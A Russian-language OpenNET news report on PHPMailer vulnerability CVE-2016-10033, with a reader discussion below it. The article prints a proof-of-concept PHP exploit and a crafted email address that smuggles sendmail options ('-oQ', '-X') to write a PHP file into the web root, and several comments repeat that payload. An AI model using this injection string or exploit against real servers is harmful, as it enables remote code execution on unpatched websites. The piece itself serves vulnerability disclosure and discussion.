The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Критическая уязвимость в PHPMailer, применяемом в WordPress, Drupal и Joomla

27.12.2016 19:21

В PHPMailer, популярной библиотеке для организации отправки электронный писем из приложений на языке PHP, число пользователей которой оценивается в 9 миллионов, обнаружена критическая уязвимость (CVE-2016-10033), позволяющая инициировать удаленное выполнение кода без прохождения аутентификации.

Проблема аналогична недавно найденной уязвимости в Roundcube Webmail и также связана с небезопасным использованием PHP-функции mail() совместно с утилитой sendmail в качестве транспорта по умолчанию. Отсутствие должной проверки параметра "Sender" (неверная интерпретация экранированных кавычек), позволяет организовать передачу утилите sendmail произвольных аргументов командной строки, в том числе можно переопределить директорию очереди и файл с логом, что позволяет организовать запись сообщения в произвольный файл в локальной ФС на сервере с правами под которыми запускается PHP-приложение.

В частности, попытка отправки сообщения на email "Attacker \" -Param2 -Param3"@test.com приведёт к выполнению утилиты sendmail со следующими аргументами:


   Arg no. 0 == [/usr/sbin/sendmail]
   Arg no. 1 == [-t]
   Arg no. 2 == [-i]
   Arg no. 3 == [-fAttacker\]
   Arg no. 4 == [-Param2]
   Arg no. 5 == [-Param3"@test.com]

Для записи кода в файл /var/www/cache/phpcode.php в качестве отправителя можно указать '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com', что демонстрирует следующий прототип эксплоита (опция "-X/var/www/cache/phpcode.php" приведёт к созданию лога /var/www/cache/phpcode.php в который будет записано тело сообщения):


   $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
   $msg_body  = "{?php phpinfo(); ?}";

   require_once('class.phpmailer.php');
   $mail = new PHPMailer(); 

   $mail->SetFrom($email_from, 'Client Name');

   $address = "[email protected]";
   $mail->AddAddress($address, "Some User");

   $mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033";
   $mail->MsgHTML($msg_body);

   if(!$mail->Send()) {
     echo "Mailer Error: " . $mail->ErrorInfo;
   } else {
     echo "Message sent!\n";
   }
    

Проблема устранена в PHPMailer 5.2.18, все более ранние выпуски подвержены уязвимости. Дистрибутивы пока не выпустили обновления пакетов: Debian, RHEL/CentOS, Fedora, Ubuntu, SUSE, openSUSE. Проблема проявляется при использовании настроек по умолчанию: отключен safe_mode, а для отправки используется PHP-функция mail() и утилита sendmail (варианты утилиты /usr/sbin/sendmail от проектов Postfix и Exim не могут быть использованы для атаки, так как они игнорируют опцию "-X").

Уязвимость усугубляется тем, что PHPMailer применяется во многих популярных продуктах для Web, в том числе в WordPress, Drupal, Joomla, 1CRM, SugarCRM, Yii и сотнях других проектов. Атака может быть проведена через различные формы отправки отзывов, регистрации, связи с администрацией и других операций, приводящих к отправке сообщений по электронной почте при помощи PHPMailer. Уязвимы или нет конкретные системы зависит от того, насколько качественно в них реализованы дополнительные проверки email-адресов перед отправкой сообщений через PHPMailer и используются ли настройки PHPMailer по умолчанию.

Дополнение: Drupal опубликовал предупреждение о проявлении уязвимости в модулях PHPMailer и SMTP. Уязвимости присвоен наивысший (Highly Critical) уровень опасности. В WordPress проблеме подвержены только некоторые сторонние плагины.

  1. Главная ссылка к новости (http://openwall.com/lists/oss-...)
  2. OpenNews: Уязвимость в Roundcube Webmail, позволяющая выполнить код на сервере
  3. OpenNews: Критическая root-уязвимость в MySQL
  4. OpenNews: Уязвимость в MySQL, позволяющая поднять свои привилегии
  5. OpenNews: Root-уязвимость из-за некорректных настроек в пакете nginx для Debian и Ubuntu
Автор новости: Mr.Mistoffelees
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/45774-phpmailer
Ключевые слова: phpmailer, sendmail
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (52) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Аноним (-), 21:19, 27/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    php головного мозга
     
     
  • 2.2, A.Stahl (ok), 21:26, 27/12/2016 [^] [^^] [^^^] [ответить]  
  • +6 +/
    Зато они не боятся malloc/free и от чего там ещё падают в обморок Явисты-Питонисты?
     
     
  • 3.3, Куяврег (?), 21:44, 27/12/2016 [^] [^^] [^^^] [ответить]  
  • +21 +/
    да они вообще нихрена не боятся. отчаянные люди...
     
  • 3.10, Alex (??), 23:01, 27/12/2016 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Xex, malloc/free актуально для С, так что этого стоит бояться в том числе пользователям интерпретатора PHP, тем более что кажется он написан весьма чудаковато, периодически оскаливаясь различным уязвимостями, связанными с неправильным парсингом аргументов и т.п.
     
  • 3.30, qsdg (ok), 09:06, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Где в Java malloc/free? O_O
     
     
  • 4.42, Аноним (-), 14:59, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • +/
    > Где в Java malloc/free? O_O

    Где, где... Внутри! То, что Вы его в тексте программы не видите, абсолютно не значит, что оно не исполняется.

     
     
  • 5.59, xz (??), 11:25, 29/12/2016 [^] [^^] [^^^] [ответить]  
  • +/
    > Где, где... Внутри! То, что Вы его в тексте программы не видите,
    > абсолютно не значит, что оно не исполняется.

    откуда он там возьмется, при живом то GC?

     
  • 2.16, stomper (?), 01:08, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • +4 +/
    > php головного мозга

    Не важно, на каком языке ты говоришь, аноНЯшка. Важно насколько правильно и однозначно понимает тебя собеседник.

     
  • 2.44, Аноним (-), 16:58, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • +/
    что php головного мозга?

    во первых нужно всегда фильтровать пользовательский ввод данных

    $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
    var_dump(filter_var($email_from, FILTER_VALIDATE_EMAIL));
    выдаст false - и скрипт киди обломается

    во вторых - это уязвимость sendmail а не php

     
     
  • 3.52, Аноним (-), 03:26, 29/12/2016 [^] [^^] [^^^] [ответить]  
  • +/
    Ну для дураков да, но там 4 кейса включая режим "safe mode" и даже это можно обойти с Windows платформы, пример ядру пыхапэ
     
  • 3.53, Аноним (-), 03:28, 29/12/2016 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > во первых нужно всегда фильтровать пользовательский ввод данных

    Фильтрацию можно обойти другой фильтрацией.

    P.S. Мы не говорим про ваш местечковый юзеркейс в хлеву.

     

  • 1.4, burik666 (ok), 21:46, 27/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Это тоже самое что и http://www.opennet.me/opennews/art.shtml?num=45643
     
  • 1.5, Аноним (-), 21:50, 27/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    В комментарии к прошлой новости я ссылки кидал https://www.opennet.me/openforum/vsluhforumID3/109851.html#2 на то, что на GitHub полно проектов с подобными уязвимостями.

    PHPMailer превзошёл мои ожидания. Использование сторонних типовых библиотек страшное зло, хуже которого только передавать в них непочищенные параметры, полагаясь, что библиотека сама вилидность проверит.

    PS. Сейчас понимаю, что был прав, всегда проверяя по [\w\d\_\-\.]+\@[\w\d\-\.]+ не пропуская пробелы и кавычки. Не совсем по RFC, но без почты бухгалтеров и спамеров можно обойтись :-)

     
     
  • 2.17, Sw00p_aka_Jerom (ok), 02:24, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • +2 +/
    юзать стороние пхп скрипты да ещё с такими сомнительными функциями как exec, system и тд. - маразм.
     
     
  • 3.20, Аноним (-), 04:53, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Ждем когда эти девы выпилят exec, system и прицепят нормальный интерфейс сборки запросов на выполнения с экранированием для макак
     
     
  • 4.37, Sw00p_aka_Jerom (ok), 13:41, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Так суть не в выпиливании, а в правильном использовании, а из ваших слов ввходит, что интерфейсы созданы именно для макак
     
  • 4.39, KonstantinB (ok), 14:10, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Выпиливать возможность прямого системного вызова - это как раз для макак.

    А обертку с плейсхолдерами я себе лет 10 назад написал, там писать-то 5 строчек.

     

  • 1.6, th3m3 (ok), 22:18, 27/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • –6 +/
    >>WordPress, Drupal и Joomla

    Пользователи всякого устаревшего php-хлама - должны страдать.

     
     
  • 2.7, Аноним (-), 22:29, 27/12/2016 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Не пользователи, а заказчики. WP еще долго будет царствовать в клозетах и головах. Ибо "дёшева".
     
  • 2.22, Аноним (-), 07:12, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Drupal с многомиллионными инвестициями и огромным сообществом крутых разрабов смотрит и смеется. Ты бы свой не хлам показал, эксперт.

    Чего не скажешь о WP, там вообще ужас, один в wp-login.php чего стоит. Такая то помойка кода без единого стиля кода и php код вперемешку с js и html.

     
     
  • 3.46, Аноним (-), 17:08, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • –2 +/
    сразу виден икспертный специалист в этом деле. который написал целых пару сайтов на WordPress - скачивав и устанавив пачку гов-ноплагинов.
     
     
  • 4.58, YCA4 (ok), 09:06, 29/12/2016 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Это лишь файл wp-login.php из ядра.

    https://github.com/WordPress/WordPress/blob/master/wp-login.php#L60
    https://github.com/WordPress/WordPress/blob/master/wp-login.php#L81
    https://github.com/WordPress/WordPress/blob/master/wp-login.php#L131
    https://github.com/WordPress/WordPress/blob/master/wp-login.php#L151
    https://github.com/WordPress/WordPress/blob/master/wp-login.php#L259

    И дальше. Весь файл просто помойка и говнокод.

     
  • 3.60, th3m3 (ok), 14:22, 07/01/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Столько денег вбухали в Drupal, а он как был УГ на php, так и остался. Могли бы уж переписать на чём-то более адекватном.

    Wordpress - тоже чудо УГ-кодинга, тоже php. Тоже нафиг.

     
  • 2.45, Аноним (-), 17:03, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • +/
    клоун - посмотри требования на https://wordpress.org/about/requirements/
    php 7 или выше

    обновил ПО на серваках или
    поменял отправку на через smtp и нет проблем.

     
     
  • 3.61, th3m3 (ok), 14:24, 07/01/2017 [^] [^^] [^^^] [ответить]  
  • +/
    А ещё можно сразу использовать что-то более адекватное и современное.
     

  • 1.8, Michael Shigorin (ok), 22:39, 27/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • –4 +/
    К слову о статической линковке...

    PS: к TYPO3 кто-то лет десять тому сделал плагин с этой штукой и через годик забросил, по счастью: https://typo3.org/extensions/repository/view/bb_phpmailer

     
  • 1.9, uldus (ok), 22:56, 27/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Этим не ограничится, PHPMailer жуткий комбайн в котором встроен SMTP-сервер, система массовой рассылки, NTLM, CRAM-MD5, XOAUTH2, TLS, DKIM и S/MIME.

    И что-то мне кажется, что и эту дыру не до конца поправили. Там ниже по коду при пустом $this->Sender выставляется $smtp_from = $this->From без обёртки $this->validateAddress(), которую добавили для $this->Sender.

     
  • 1.13, Аноним (-), 00:02, 28/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Marcus Bointon & PHP - sucks
     
  • 1.14, Gemorroj (ok), 00:15, 28/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    хорошая либа, кстати.
    а по поводу уязвимости - таких вагон где угодно. просто в силу популярности проектов на php о них громче новости.
     
     
  • 2.32, Аноним (-), 10:00, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Пути пхпистов неисповедимы, да.
     

  • 1.23, KonstantinB (ok), 07:20, 28/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Еще надо найти жертву с настоящим сендмейлом, что непросто. Все известные мне mta (кроме самого sendmail) игнорируют -X (и правильно делают).

    Или придумать другой способ эксплуатации, но лично мне ничего в голову не приходит.

     
  • 1.24, KonstantinB (ok), 07:27, 28/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Кстати, в php-шном же SwiftMailer аналогичную уязвимость исправили 2.5 года назад.
     
     
  • 2.25, Аноним (-), 08:20, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • +/
    > аналогичную уязвимость исправили 2.5 года назад

    Исправили?! Напишут новую!!!

     
     
  • 3.26, KonstantinB (ok), 08:32, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Я к тому, что это, похоже, общее уязвимое место - и не только для php. Да и правда, легко ошибиться, забыв о том, что email, прошедший валидацию, вполне может содержать валидную quoted string - это необычно, и таких адресов никто почти и не видел, но, тем не менее, они валидны.

    Так что имеет смысл проверить те библиотеки, которыми вы пользуетесь.

     
  • 3.54, KonstantinB (ok), 07:49, 29/12/2016 [^] [^^] [^^^] [ответить]  
  • +/
    Хех. Написали. Точнее, в тот раз исправили аналогичную, но в sendmail-транспорте, а в mail-транспорте-то и не поправили :-)

    https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2

     

  • 1.28, Аноним (-), 08:40, 28/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Это в каком проекте нет валидации email ???
    Или это валидный email ???

    "Attacker \" -Param2 -Param3"@test.com


    Не видел ни одного проекта на php без валидации email  - проблема из пальца высосана...

     
     
  • 2.29, Аноним (-), 08:53, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Это валидный EMail. RFC допускает использование пробелов при выделении кавычками.
     
     
  • 3.33, KonstantinB (ok), 10:14, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Ага. Можно сделать себе емейл типа "(),:; \"<>["@domain.tld и троллить всех багрепортами. :-)
     
  • 3.47, Аноним (-), 17:11, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • +/
    с какого перепугу валидный?

    $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
    var_dump(filter_var($email_from, FILTER_VALIDATE_EMAIL));
    выдаст false

     
     
  • 4.48, Аноним84701 (ok), 17:28, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > с какого перепугу валидный?
    > $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
    > var_dump(filter_var($email_from, FILTER_VALIDATE_EMAIL));
    > выдаст false

    С такого, что валидность обычно таки определяетcя "общепризнанным" RFC, а не конкретной реализацией, не имеющей к этому самому RFC никакого отношения.

    Да и в доке вроде как говорится о
    http://php.net/manual/en/filter.filters.validate.php
    > http://php.net/manual/en/filter.filters.validate.php
    > his validates e-mail addresses against the syntax in RFC 822, -->with the exceptions<-- that comments and whitespace folding and dotless domain names are not supported.

     

  • 1.31, Sylvia (ok), 09:11, 28/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    >Уязвимости присвоен наивысший (Highly Critical) уровень опасности.

    для WordPress приоритет на тикет поставил абсолютно левый человек зарегистрировавшийся только вчера. Не надо выдавать это за официальную позицию пожалуйста.

     
  • 1.34, arnold (?), 12:28, 28/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Сссылка "сотнях других проектов" ничего не находит.
     
     
  • 2.40, google (??), 14:20, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • –1 +/
    потому что никто не пользуется этим овном
     

  • 1.35, Fantomas (??), 12:41, 28/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Да забейте на эту уязвимость, исправят - обновим.
     
  • 1.36, Square1 (?), 13:13, 28/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    проверил на нескольких платформах (включая джумлу) - ругается на невалидный эмейл.
     
  • 1.38, Аноним (-), 13:51, 28/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    брейкинньюс просто, опции -X сто лет в обед, пруф сейчас не найду, но этим хекали ещё очень давно, после чего собственно нормальные люди вырубили -X

    что касается phpmailer, то он используется как либа для отправки, и ей плевать какой емейл передают(не хорошо конечно, но логично), если приложение не может нормально отвалидировать email(пробелы/бекслеши -_-) и юзает phpmailer то уж извините
    желтизна, большинство cms просто не пропустят такой мыльник

     
     
  • 2.49, Аноним (-), 18:58, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • +/
    > может нормально отвалидировать email(пробелы/бекслеши -_-) и юзает phpmailer то уж извините

    Во-первых, phpmailer сам предоставляет средства валидации email (PHPMailer::validateAddress()), которые и используются в CMS.

    Во-вторых, пробелы и кавычки входят в число допустимых символов в соответствии с RFC 3696, т.е. "test with spaces"@email.com считается корректным.

     
     
  • 3.50, Аноним (-), 21:57, 28/12/2016 [^] [^^] [^^^] [ответить]  
  • –1 +/
    вот из за таких как ты, которые реальность от жопы отличить не могут, такое и случается
    когда спецификация почты была создана? бл**ь как фреймворки на js дак вы каждый день пишите, а то что тут 20 лет прошло, головой думать учиться учиться
     
     
  • 4.55, Аноним (-), 08:07, 29/12/2016 [^] [^^] [^^^] [ответить]  
  • +/
    > когда спецификация почты была создана?

    https://tools.ietf.org/html/rfc3696 создан в 2004 году и как раз отражает современные реалии. То что вы на стандарты предлагайте плевать в угоду вашему личному мировосприятию чести вам не делает.

     

  • 1.51, Аноним (-), 00:41, 29/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Там полный кабздец с самим php
    https://gist.github.com/Zenexer/40d02da5e07f151adeaeeaa11af9ab36
    https://github.com/PHPMailer/PHPMailer/pull/930
     
  • 1.56, Аноним (-), 08:15, 29/12/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Ответте, плиз, как обновить phpmailer и проверить установленную версию. Саппорт говорит, что это 10 долларов в час будет стоить
     
     
  • 2.57, Аноним (-), 08:54, 29/12/2016 [^] [^^] [^^^] [ответить]  
  • –1 +/
    На подходе еще 2 CVE готовь еще денег)
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру